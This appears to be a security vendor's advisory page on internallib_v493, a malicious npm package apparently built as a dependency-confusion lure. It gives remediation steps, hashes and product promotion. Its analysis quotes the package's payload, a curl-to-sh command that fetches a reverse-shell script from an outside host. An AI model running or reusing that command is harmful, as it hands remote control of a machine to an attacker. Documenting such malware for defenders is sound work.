Which versions of internallib_v493 are malicious?

The following npm versions of internallib_v493 are flagged malicious: 1.0.2, 1.0.3, 1.0.4. Treat any of these as compromised.

How do I remediate internallib_v493 if I installed it?

internallib_v493 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed internallib_v493 — how do I know if it already compromised me?

If internallib_v493 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is internallib_v493 part of a known attack campaign?

Yes — internallib_v493 is associated with the IN-MAL-2026-004112, IN-MAL-2026-004113, IN-MAL-2026-004111, GHSA-cmv7-95wv-gm8h campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v493 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v493 (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v493 across your stack and pipelines.

Malicious package

internallib_v493npm

internallib_v493 is a confirmed malicious npm package (MAL-2026-4585) that opens a backdoor for remote access (malicious versions 1.0.2, 1.0.3, 1.0.4). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v493 (npm)

MAL-2026-4585

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v493

What this malware does

The package's sole exported function command() in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a reverse-shell script from reverse-shell.sh and piping it directly to sh to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (internallib_v493) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (reuquire instead of require) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

3 flagged

1.0.21.0.31.0.4

Indicators of compromise (SHA-256)

5212257564fabb7f11b34470ea266dd958cc2379cd211d57705e158c96fdaf75

5ab65af9adef5ba807215c2e5880c940bf73f7c4312bc90c1bd21df1246f6931

67451793d9877224d7acc26100c76cd2378f45c39354f89ca1e0dd37565741b7

4a0447b2baaf3f0997d8220e97fa8e69523cb52b7a4b1f049377044b2d1fe97d

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v493 (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v493 across your stack and pipelines.
If you installed it — respond
internallib_v493 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v493 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v493 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. internallib_v493 on npm has been identified as a malicious package (versions 1.0.2, 1.0.3, 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004112IN-MAL-2026-004113IN-MAL-2026-004111GHSA-cmv7-95wv-gm8h

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v493-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database